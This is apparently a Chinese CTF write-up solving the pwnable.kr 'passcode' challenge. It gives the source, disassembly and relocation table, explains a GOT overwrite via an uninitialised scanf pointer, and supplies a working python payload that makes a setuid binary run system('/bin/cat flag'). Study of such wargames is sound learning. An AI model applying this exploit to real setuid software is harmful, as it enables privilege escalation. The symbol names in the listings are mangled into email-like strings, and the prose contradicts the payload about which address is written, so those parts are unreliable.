欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

pwnable.kr passcode

程序员文章站 2022-03-09 22:37:27
...

题目来自pwnable.kr
里面的思路是通过学习别人的文章获得的,作为个人的学习记录一下

题目是这样的
passcode
pwnable.kr passcode

SSH连接一下
pwnable.kr passcode
看看有什么文件
可以看到有三个文件,其中 flag 只对创建者 passcode_pwn 和 root 可读,而我们登录的用户是 passcode(从连接时的用户名或使用 whoami 命令可以得知),因此是没有权限读这个文件的。passcode 对有所有用户都开放读和执行权限,而且留意到权限里面有 s,因此普通用户在执行这个文件时会被赋予 root 权限。最后一个文件是 passcode 的源代码,这是分析程序执行逻辑的关键。

所以可以先运行一下passcode

pwnable.kr passcode
随便输入下,可以看出来是不对的,我们先来阅读一下源码 也可以用IDA看,但是有源码了就直接看源码

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

有点长 我直接贴上来
通过源码我们知道 main 函数先后调用了 welcome 和 login 这两个函数,其中在 welcome 函数中输入用户名,在 login 中输入两个密码。
仔细观察可以发现,在 login 函数调用 scanf 的时候,对参数没有取址的操作,而且passcode1和passcode2是没有被初始化的,所以我们输入的数据写入了一个未知的地方
到这里我们可以想如果我们能控制passcode1和passcode2的值就可以任意读写(这样说可能有点不准确,因为程序如果可能开了别的保护,但是在漏洞利用中实现任意读写是非常重要的一步)
既然猫腻在这里,那我们就可以调试一下,看如何控制passcode1和passcode2
可以使用命令 objdump -d passcode直接看汇编也可以gdb -q passcode 下断来调试

08048665 <main>:
 8048665:	55                   	push   %ebp
 8048666:	89 e5                	mov    %esp,%ebp
 8048668:	83 e4 f0             	and    $0xfffffff0,%esp
 804866b:	83 ec 10             	sub    $0x10,%esp
 804866e:	c7 04 24 f0 87 04 08 	movl   $0x80487f0,(%esp)
 8048675:	e8 d6 fd ff ff       	call   8048450 <aaa@qq.com>
 804867a:	e8 8a ff ff ff       	call   8048609 <welcome>
 804867f:	e8 e0 fe ff ff       	call   8048564 <login>
 8048684:	c7 04 24 18 88 04 08 	movl   $0x8048818,(%esp)
 804868b:	e8 c0 fd ff ff       	call   8048450 <aaa@qq.com>
 8048690:	b8 00 00 00 00       	mov    $0x0,%eax
 8048695:	c9                   	leave  
 8048696:	c3                   	ret    
 8048697:	90                   	nop
 8048698:	90                   	nop
 8048699:	90                   	nop
 804869a:	90                   	nop
 804869b:	90                   	nop
 804869c:	90                   	nop
 804869d:	90                   	nop
 804869e:	90                   	nop
 804869f:	90                   	nop

08048609 <welcome>:
 8048609:	55                   	push   %ebp
 804860a:	89 e5                	mov    %esp,%ebp
 804860c:	81 ec 88 00 00 00    	sub    $0x88,%esp
 8048612:	65 a1 14 00 00 00    	mov    %gs:0x14,%eax
 8048618:	89 45 f4             	mov    %eax,-0xc(%ebp)
 804861b:	31 c0                	xor    %eax,%eax
 804861d:	b8 cb 87 04 08       	mov    $0x80487cb,%eax
 8048622:	89 04 24             	mov    %eax,(%esp)
 8048625:	e8 f6 fd ff ff       	call   8048420 <aaa@qq.com>
 804862a:	b8 dd 87 04 08       	mov    $0x80487dd,%eax
 804862f:	8d 55 90             	lea    -0x70(%ebp),%edx
 8048632:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048636:	89 04 24             	mov    %eax,(%esp)
 8048639:	e8 62 fe ff ff       	call   80484a0 <aaa@qq.com>
 804863e:	b8 e3 87 04 08       	mov    $0x80487e3,%eax
 8048643:	8d 55 90             	lea    -0x70(%ebp),%edx
 8048646:	89 54 24 04          	mov    %edx,0x4(%esp)
 804864a:	89 04 24             	mov    %eax,(%esp)
 804864d:	e8 ce fd ff ff       	call   8048420 <aaa@qq.com>
 8048652:	8b 45 f4             	mov    -0xc(%ebp),%eax
 8048655:	65 33 05 14 00 00 00 	xor    %gs:0x14,%eax
 804865c:	74 05                	je     8048663 <welcome+0x5a>
 804865e:	e8 dd fd ff ff       	call   8048440 <aaa@qq.com>
 8048663:	c9                   	leave  
 8048664:	c3                   	ret    
08048564 <login>:
 8048564:	55                   	push   %ebp
 8048565:	89 e5                	mov    %esp,%ebp
 8048567:	83 ec 28             	sub    $0x28,%esp
 804856a:	b8 70 87 04 08       	mov    $0x8048770,%eax
 804856f:	89 04 24             	mov    %eax,(%esp)
 8048572:	e8 a9 fe ff ff       	call   8048420 <aaa@qq.com>
 8048577:	b8 83 87 04 08       	mov    $0x8048783,%eax
 804857c:	8b 55 f0             	mov    -0x10(%ebp),%edx
 804857f:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048583:	89 04 24             	mov    %eax,(%esp)
 8048586:	e8 15 ff ff ff       	call   80484a0 <aaa@qq.com>
 804858b:	a1 2c a0 04 08       	mov    0x804a02c,%eax
 8048590:	89 04 24             	mov    %eax,(%esp)
 8048593:	e8 98 fe ff ff       	call   8048430 <aaa@qq.com>
 8048598:	b8 86 87 04 08       	mov    $0x8048786,%eax
 804859d:	89 04 24             	mov    %eax,(%esp)
 80485a0:	e8 7b fe ff ff       	call   8048420 <aaa@qq.com>
 80485a5:	b8 83 87 04 08       	mov    $0x8048783,%eax
 80485aa:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80485ad:	89 54 24 04          	mov    %edx,0x4(%esp)
 80485b1:	89 04 24             	mov    %eax,(%esp)
 80485b4:	e8 e7 fe ff ff       	call   80484a0 <aaa@qq.com>
 80485b9:	c7 04 24 99 87 04 08 	movl   $0x8048799,(%esp)
 80485c0:	e8 8b fe ff ff       	call   8048450 <aaa@qq.com>
 80485c5:	81 7d f0 e6 28 05 00 	cmpl   $0x528e6,-0x10(%ebp)
 80485cc:	75 23                	jne    80485f1 <login+0x8d>
 80485ce:	81 7d f4 c9 07 cc 00 	cmpl   $0xcc07c9,-0xc(%ebp)
 80485d5:	75 1a                	jne    80485f1 <login+0x8d>
 80485d7:	c7 04 24 a5 87 04 08 	movl   $0x80487a5,(%esp)
 80485de:	e8 6d fe ff ff       	call   8048450 <aaa@qq.com>
 80485e3:	c7 04 24 af 87 04 08 	movl   $0x80487af,(%esp)
 80485ea:	e8 71 fe ff ff       	call   8048460 <aaa@qq.com>
 80485ef:	c9                   	leave  
 80485f0:	c3                   	ret    
 80485f1:	c7 04 24 bd 87 04 08 	movl   $0x80487bd,(%esp)
 80485f8:	e8 53 fe ff ff       	call   8048450 <aaa@qq.com>
 80485fd:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048604:	e8 77 fe ff ff       	call   8048480 <aaa@qq.com>

直接看这三个函数
对照着源代码,可以知道 name 的地址是 -0x70(%ebp),即 %ebp - 0x70,再看 login 函数,同样对照源代码,知道 passcode1 的地址是 -0x10(%ebp),即 %ebp - 0x10,passcode2 的地址是 -0xc(%ebp),即 %ebp - 0xc。注意这两个函数的 %ebp 是不一样的,但是由于这两个函数是由 main 函数同步调用的而且它们的参数个数一样多(都是 0 个),所以在数值上两个函数的 %ebp 是相等的。

而通过计算可以知道,name 的地址比 passcode1 的地址低 96 个字节(0x70 - 0x10 = 96),name 的地址比 password2 的地址低 100 个字节(0x70 - 0xc = 100),而我们可以控制的 name 刚好能够到 100 个字节(看源码),也就是说,我们刚好能够控制 passcode1 的值而刚好不能控制 password2 的值(因为程序开启了栈溢出保护,所以我们不能再继续增加name的输入来改变passcode2的值,如果能改,直接改为两个特定数就可以了,但这里不行)。

既然我们能够控制passcode1 的值,那么我们就可以scanf 的时候对一个地址进行写入,那么怎么利用这点呢,通过看大牛的思路,我知道了这里要使用一种叫GOT表覆写技术来实现我们的利用什么是GOT表可以看这里,涉及到了ELF文件技术问题我们在这里就不展开了(https://blog.csdn.net/qq_18661257/article/details/54694748
https://www.jianshu.com/p/0ac63c3744dd)
知识点:GOT表是刚好是可写的

objdump -R passcode

看一下GOT表

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        aaa@qq.com@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   aaa@qq.com_2.0
0804a004 R_386_JUMP_SLOT   aaa@qq.com_2.0
0804a008 R_386_JUMP_SLOT   aaa@qq.com_2.4
0804a00c R_386_JUMP_SLOT   aaa@qq.com_2.0
0804a010 R_386_JUMP_SLOT   aaa@qq.com_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   aaa@qq.com_2.0
0804a01c R_386_JUMP_SLOT   aaa@qq.com_2.0
0804a020 R_386_JUMP_SLOT   aaa@qq.com_2.7

而我们通过汇编可以看到scanf 后会再执行下面的函数

804858b:	a1 2c a0 04 08       	mov    0x804a02c,%eax
 8048590:	89 04 24             	mov    %eax,(%esp)
 8048593:	e8 98 fe ff ff       	call   8048430 <aaa@qq.com>
 8048598:	b8 86 87 04 08       	mov    $0x8048786,%eax
 804859d:	89 04 24             	mov    %eax,(%esp)
 80485a0:	e8 7b fe ff ff       	call   8048420 <aaa@qq.com>
 80485a5:	b8 83 87 04 08       	mov    $0x8048783,%eax
 80485aa:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80485ad:	89 54 24 04          	mov    %edx,0x4(%esp)
 80485b1:	89 04 24             	mov    %eax,(%esp)
 80485b4:	e8 e7 fe ff ff       	call   80484a0 <aaa@qq.com>
 80485b9:	c7 04 24 99 87 04 08 	movl   $0x8048799,(%esp)
 80485c0:	e8 8b fe ff ff       	call   8048450 <aaa@qq.com>

所以你修改他们的任意一个也是可以的,把他们GOT表的地址改掉,然后他们再调用的就是我修改好的任意地址,但是这里我们要输出的是 flag 的内容,看到 login 函数中调用了 system 函数来输出 flag 的内容,普通用户在运行这个程序的时候会被暂时赋予 root 权限,所以直接调用这个 system 函数是可以输出 flag 中的内容的。因此,我们可以把 name 的最后四个字节写成 plt 中 printf 函数的地址(我选的是printf),即 0x08048420 ,然后再输入 passcode1 时输入调用 system 函数的地址,即 0x080485e3 (注意函数调用前还有给参数赋值等初始化操作,因此这个地址在 call system 语句的前面一点点),这样实际上相当于在执行printf("enter passcode2 : ");语句时执行的是 if 中的system("/bin/cat flag");语句了。

用 python 生成 payload 并作为程序的输入

python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode

这里注意字节转换,因为scanf是要求%d输入
pwnable.kr passcode
参考文章:
https://www.jianshu.com/p/886a7b8c2ad5 作者:半人前
https://www.cnblogs.com/binlmmhc/p/6189514.html 作者:Bin_LmmH_C

感谢